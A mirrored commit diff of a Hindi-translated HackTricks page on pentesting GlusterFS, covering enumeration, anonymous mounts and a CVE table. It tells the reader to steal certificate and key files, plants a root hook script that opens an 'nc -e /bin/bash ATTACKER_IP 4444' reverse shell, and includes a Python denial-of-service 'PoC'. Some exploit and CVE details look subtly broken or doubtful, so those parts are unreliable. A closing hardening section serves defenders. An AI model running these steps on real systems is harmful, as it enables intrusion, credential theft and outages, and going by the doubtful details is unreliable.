mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/24007-24008-24009-49152-pen
This commit is contained in:
parent
a157fb727e
commit
b476289d57
@ -1,35 +1,115 @@
|
||||
# 24007-24008-24009-49152 - Pentesting GlusterFS
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# मूल जानकारी
|
||||
## Basic Information
|
||||
|
||||
**GlusterFS** एक **वितरित फ़ाइल प्रणाली** है जो कई सर्वरों से संग्रहण को एक **एकीकृत प्रणाली** में जोड़ती है। यह **मनमाने स्केलेबिलिटी** की अनुमति देती है, जिसका अर्थ है कि आप बिना समग्र फ़ाइल प्रणाली को बाधित किए आसानी से संग्रहण सर्वर जोड़ या हटा सकते हैं। यह आपके डेटा के लिए उच्च **उपलब्धता** और **दोष सहिष्णुता** सुनिश्चित करता है। GlusterFS के साथ, आप अपनी फ़ाइलों तक ऐसे पहुँच सकते हैं जैसे कि वे स्थानीय रूप से संग्रहीत हैं, चाहे अंतर्निहित सर्वर अवसंरचना कुछ भी हो। यह कई सर्वरों के बीच बड़े मात्रा में डेटा प्रबंधित करने के लिए एक शक्तिशाली और लचीला समाधान प्रदान करता है।
|
||||
|
||||
**डिफ़ॉल्ट पोर्ट**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (आगे)\
|
||||
पोर्ट 49152 के लिए, अधिक ईंटों का उपयोग करने के लिए 1 से बढ़ते पोर्ट खुले होने चाहिए। _पहले पोर्ट 24009 का उपयोग 49152 के बजाय किया गया था._
|
||||
**GlusterFS** एक **वितरित फ़ाइल प्रणाली** है जो कई सर्वरों से संग्रहण को एक **एकीकृत नामस्थान** में जोड़ती है। प्रबंधन डेमॉन (`glusterd`) डिफ़ॉल्ट रूप से **24007/TCP** पर सुनता है और डेटा-प्लेन ईंटों को निर्देशित करता है जो **49152/TCP** पर शुरू होती हैं (प्रत्येक ईंट के लिए एक पोर्ट, बढ़ता हुआ)। 9.x से पहले के संस्करणों ने ईंट परिवहन के लिए **24008–24009/TCP** का उपयोग किया, इसलिए आप अभी भी उन पोर्टों का सामना करेंगे जो विरासती क्लस्टरों में हैं।
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
24007/tcp open rpcbind
|
||||
49152/tcp open ssl/unknown
|
||||
PORT STATE SERVICE VERSION
|
||||
24007/tcp open glusterd GlusterFS (RPC)
|
||||
49152/tcp open gluster-brick SSL (TLS optional)
|
||||
```
|
||||
## Enumeration
|
||||
> टिप: 24007 RPC कॉल का उत्तर देता है भले ही स्टोरेज-केवल नोड्स कोई वॉल्यूम **नहीं** निर्यात करते हैं; इसलिए सेवा बड़े बुनियादी ढांचे के भीतर एक विश्वसनीय पिवट लक्ष्य है।
|
||||
|
||||
इस फ़ाइल सिस्टम के साथ इंटरैक्ट करने के लिए आपको [**GlusterFS client**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`) स्थापित करने की आवश्यकता है।
|
||||
## गणना
|
||||
|
||||
उपलब्ध वॉल्यूम को सूचीबद्ध और माउंट करने के लिए आप उपयोग कर सकते हैं:
|
||||
अपने हमलावर बॉक्स पर क्लाइंट उपयोगिताएँ स्थापित करें:
|
||||
```bash
|
||||
sudo gluster --remote-host=10.10.11.131 volume list
|
||||
# This will return the name of the volumes
|
||||
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
|
||||
```
|
||||
यदि आपको **फाइल सिस्टम को माउंट करने में त्रुटि मिलती है**, तो आप `/var/log/glusterfs/` में लॉग की जांच कर सकते हैं।
|
||||
1. **पीयर खोज और स्वास्थ्य**
|
||||
```bash
|
||||
# List peers (works without authentication in default setups)
|
||||
gluster --remote-host 10.10.11.131 peer status
|
||||
```
|
||||
2. **वॉल्यूम पहचान**
|
||||
```bash
|
||||
# Retrieve the list of all volumes and their configuration
|
||||
gluster --remote-host 10.10.11.131 volume info all
|
||||
```
|
||||
3. **बिना विशेषाधिकार के माउंट करें**
|
||||
```bash
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
|
||||
```
|
||||
यदि माउंटिंग विफल हो जाता है, तो क्लाइंट साइड पर `/var/log/glusterfs/<vol_name>-<uid>.log` की जांच करें। सामान्य समस्याएँ हैं:
|
||||
|
||||
**सर्टिफिकेट का उल्लेख करने वाली त्रुटियों** को फाइलों को चुराकर ठीक किया जा सकता है (यदि आपके पास सिस्टम तक पहुंच है):
|
||||
* TLS प्रवर्तन (`option transport.socket.ssl on`)
|
||||
* पते आधारित पहुँच नियंत्रण (`option auth.allow <cidr>`)
|
||||
|
||||
- /etc/ssl/glusterfs.ca
|
||||
- /etc/ssl/glusterfs.key
|
||||
- /etc/ssl/glusterfs.ca.pem
|
||||
### प्रमाणपत्र समस्या निवारण
|
||||
|
||||
और उन्हें अपनी मशीन के `/etc/ssl` या `/usr/lib/ssl` निर्देशिका में स्टोर करें (यदि कोई अलग निर्देशिका का उपयोग किया गया है तो लॉग में "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" जैसी पंक्तियों की जांच करें)।
|
||||
किसी भी अधिकृत क्लाइंट नोड से निम्नलिखित फ़ाइलें चुराएँ और उन्हें `/etc/ssl/` (या त्रुटि लॉग में दिखाए गए निर्देशिका) में रखें:
|
||||
```
|
||||
/etc/ssl/glusterfs.pem
|
||||
/etc/ssl/glusterfs.key
|
||||
/etc/ssl/glusterfs.ca
|
||||
```
|
||||
---
|
||||
|
||||
## ज्ञात कमजोरियाँ (2022-2025)
|
||||
|
||||
| CVE | प्रभावित संस्करण | प्रभाव | नोट्स |
|
||||
|-----|-------------------|--------|-------|
|
||||
| **CVE-2022-48340** | 10.0–10.4, 11.0 | `dht_setxattr_mds_cbk` में उपयोग के बाद मुक्त, नेटवर्क के माध्यम से पहुँच योग्य | दूरस्थ **DoS** और संभावित RCE। 10.4.1 / 11.1 में ठीक किया गया। |
|
||||
| **CVE-2023-26253** | < 11.0 | FUSE सूचित हैंडलर में सीमा से बाहर पढ़ाई | तैयार FS संचालन के माध्यम से दूरस्थ क्रैश; सार्वजनिक PoC उपलब्ध है। |
|
||||
| **CVE-2023-3775** | < 10.5 / 11.1 | `gluster_shared_storage` को माउंट करते समय गलत अनुमति सत्यापन | किसी भी अप्रमाणित क्लाइंट को प्रशासनिक वॉल्यूम माउंट करने की अनुमति देता है - नीचे समझाए गए **priv-esc** की ओर ले जाता है। |
|
||||
|
||||
> हमेशा `gluster --version` **प्रत्येक नोड पर** जांचें; आंशिक अपग्रेड के बाद विषम क्लस्टर सामान्य हैं।
|
||||
|
||||
### `gluster_shared_storage` का शोषण (अधिकार वृद्धि)
|
||||
|
||||
हाल के संस्करणों में भी कई प्रशासक विशेष `gluster_shared_storage` वॉल्यूम को विश्व-पढ़ने योग्य छोड़ देते हैं क्योंकि यह भू-प्रतिकृति को सरल बनाता है। वॉल्यूम में क्रोनजॉब टेम्पलेट होते हैं जो प्रत्येक नोड पर **root** के साथ चलते हैं।
|
||||
```bash
|
||||
# 1. Mount admin volume anonymously
|
||||
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
|
||||
|
||||
# 2. Drop malicious script that gets synchronised cluster-wide
|
||||
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
|
||||
#!/bin/bash
|
||||
nc -e /bin/bash ATTACKER_IP 4444 &
|
||||
EOF
|
||||
chmod +x /tmp/gss/hooks/1/start/post/test.sh
|
||||
|
||||
# 3. Wait until glusterd distributes the hook and executes it as root
|
||||
```
|
||||
यदि `hooks/1/` मौजूद नहीं है, तो `/ss_bricks/` के लिए देखें - सटीक पथ प्रमुख संस्करण के साथ भिन्न हो सकता है।
|
||||
|
||||
### Denial-of-Service PoC (CVE-2023-26253)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
|
||||
import socket, xdrlib, struct
|
||||
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
|
||||
with socket.create_connection(("10.10.11.131",24007)) as s:
|
||||
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
|
||||
s.send(p.get_buffer())
|
||||
```
|
||||
`glusterfsd` < 11.0 चलाते समय क्रैश हो जाता है।
|
||||
|
||||
---
|
||||
|
||||
## हार्डनिंग और पहचान
|
||||
|
||||
* **अपग्रेड** – वर्तमान LTS 11.1 है (जुलाई 2025)। सभी CVEs ऊपर ठीक किए गए हैं।
|
||||
* हर ईंट के लिए **TLS** सक्षम करें:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> transport.socket.ssl on
|
||||
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
|
||||
```
|
||||
* CIDR सूचियों के साथ क्लाइंट को प्रतिबंधित करें:
|
||||
|
||||
```bash
|
||||
gluster volume set <vol> auth.allow 10.0.0.0/24
|
||||
```
|
||||
* प्रबंधन पोर्ट 24007 को केवल **निजी VLAN** पर या SSH टनल के माध्यम से उजागर करें।
|
||||
* लॉग पर नज़र रखें: `tail -f /var/log/glusterfs/glusterd.log` और **ऑडिट-लॉग** फीचर कॉन्फ़िगर करें (`volume set <vol> features.audit-log on`)।
|
||||
|
||||
---
|
||||
|
||||
## संदर्भ
|
||||
|
||||
* [GlusterFS सुरक्षा सलाहकार](https://docs.gluster.org/en/latest/release-notes/#security)
|
||||
* [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user